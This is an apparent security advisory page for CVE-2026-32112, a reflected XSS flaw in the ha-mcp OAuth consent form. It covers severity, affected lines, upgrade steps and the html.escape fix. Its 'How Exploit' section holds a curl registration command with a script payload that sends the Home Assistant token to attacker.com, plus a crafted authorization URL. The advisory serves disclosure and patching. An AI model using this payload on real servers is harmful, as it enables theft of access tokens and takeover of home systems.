ha-mcp, Cross-site Scripting (XSS), CVE-2026-32112 (MEDIUM)

Listen to this Post

The ha-mcp OAuth consent form prior to version 7.0.0 renders user-controlled parameters using Python f-strings without HTML escaping, creating a reflected Cross-site Scripting (XSS) vulnerability . The `consent_form.py` file builds HTML directly with f-strings and contains no calls to `html.escape()` anywhere in the code. User-supplied values including client_name, client_id, redirect_uri, state, and various error messages are rendered unescaped in both HTML element and attribute contexts . An attacker can register a malicious client via the open Dynamic Client Registration (DCR) endpoint (/register), which accepts `client_name` without sanitization. If the server operator can be convinced to visit a crafted authorization URL for that client—a meaningful social engineering barrier—the attacker’s JavaScript payload executes in the operator’s browser . The vulnerability exists only in the beta OAuth mode (ha-mcp-oauth), which requires explicit configuration and is not part of the standard setup. A successful exploit could exfiltrate data entered into the consent form, including Home Assistant Long-Lived Access Tokens . The vulnerability is fixed in version 7.0.0 .
Platform: ha-mcp
Version: < 7.0.0
Vulnerability: Cross-site Scripting
Severity: MEDIUM (CVSS:6.8)
Date: 2026-03-11

Prediction: 2026-03-12 (patch already available)

What Undercode Say:

Analytics

  • CVE ID: CVE-2026-32112
  • CVSS Score: 6.8 (MEDIUM) [AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N]
  • Attack Vector: Network
  • Attack Complexity: High (requires social engineering)
  • Privileges Required: None
  • User Interaction: Required (operator must click crafted URL)
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: None
  • CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Affected Component: `consent_form.py` (lines 36-40, 299, 303, 310-312, 496-497)
  • Affected Configuration: OAuth mode only (ha-mcp-oauth with `MCP_BASE_URL` set)
  • Fixed Version: 7.0.0
  • Discovery Source: GitHub Security Advisory (GHSA-pf93-j98v-25pv)

Bash Commands & Codes

Check current ha-mcp version
pip show ha-mcp | grep Version
Upgrade to patched version
pip install --upgrade ha-mcp==7.0.0
Verify upgrade
python -c "import ha_mcp; print(ha_mcp.<strong>version</strong>)"
Check if OAuth mode is enabled (vulnerable configuration)
grep -r "MCP_BASE_URL" /path/to/ha-mcp/config/
Test for vulnerable f-string pattern in consent_form.py
grep -n "f\"" /path/to/ha-mcp/ha_mcp/oauth/consent_form.py | grep -v "html.escape"

How Exploit

Registration Phase (attacker):

Register malicious client with XSS payload in client_name
curl -X POST http://target-server:port/register \
-H "Content-Type: application/json" \
-d '{
"client_name": "<script>fetch(\"https://attacker.com/steal?token=\"+document.getElementById(\"ha_token\").value)</script>",
"redirect_uris": ["https://legitimate-app.com/callback"],
"scope": "full_access"
}'

Exploit Delivery:

<!-- Crafted authorization URL sent to server operator -->
https://victim-server:port/authorize?client_id=MALICIOUS_ID&response_type=code&redirect_uri=https://legitimate-app.com/callback&state=anything

Vulnerable Code Pattern:

From consent_form.py (vulnerable)
html_content = f"""

<div class="client-info">
<h2>{client_name}</h2> <!-- No escaping -->
Client ID: {client_id}</p> <!-- No escaping -->
</div>

<input type="hidden" name="client_id" value="{client_id}"> <!-- Attribute injection -->
<input type="hidden" name="redirect_uri" value="{redirect_uri}"> <!-- Attribute injection -->

Impact of XSS: JavaScript can exfiltrate the Home Assistant Long-Lived Access Token entered into the consent form .

Protection from this CVE

Immediate Mitigation:

Upgrade to fixed version
pip install --upgrade ha-mcp==7.0.0

Code Fix (as implemented in 7.0.0):

Patched version using html.escape
from html import escape
In consent_form.py
html_content = f"""

<div class="client-info">
<h2>{escape(client_name)}</h2>
Client ID: {escape(client_id)}
</div>

<p><input type="hidden" name="client_id" value="{escape(client_id)}">
<input type="hidden" name="redirect_uri" value="{escape(redirect_uri)}">
"""

Preventive Measures:

  • Disable OAuth mode if not required (remove `MCP_BASE_URL` configuration)
  • Run ha-mcp in stdio mode (default, unaffected) instead of OAuth mode
  • Implement Content Security Policy (CSP) headers
  • Add input validation for all client-registration parameters
  • Never render user input without proper escaping or sanitization
  • Consider using template engines with auto-escaping (Jinja2, etc.)

Impact

  • Confidentiality Breach: Exfiltration of Home Assistant Long-Lived Access Tokens entered into the consent form
  • Integrity Impact: Attacker can execute arbitrary JavaScript in operator’s browser context
  • Scope Limitation: Affects only beta OAuth mode (ha-mcp-oauth), not standard stdio deployments
  • Attack Prerequisites:
  1. Attacker must reach OAuth endpoint (binds to `0.0.0.0` in HTTP mode)

2. Successful client registration via open DCR endpoint

  1. Social engineering to convince operator to click crafted URL

– Defense-in-Depth: Social engineering barrier reduces likelihood; operator has no legitimate reason to authorize unfamiliar OAuth clients
– Ecosystem Context: Similar vulnerabilities in MCP ecosystem have led to RCE and account takeover in client applications

References

  • GitHub Security Advisory: GHSA-pf93-j98v-25pv
  • CVE Record: CVE-2026-32112
  • MCP OAuth Specification: RFC 7591 (Dynamic Client Registration)

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top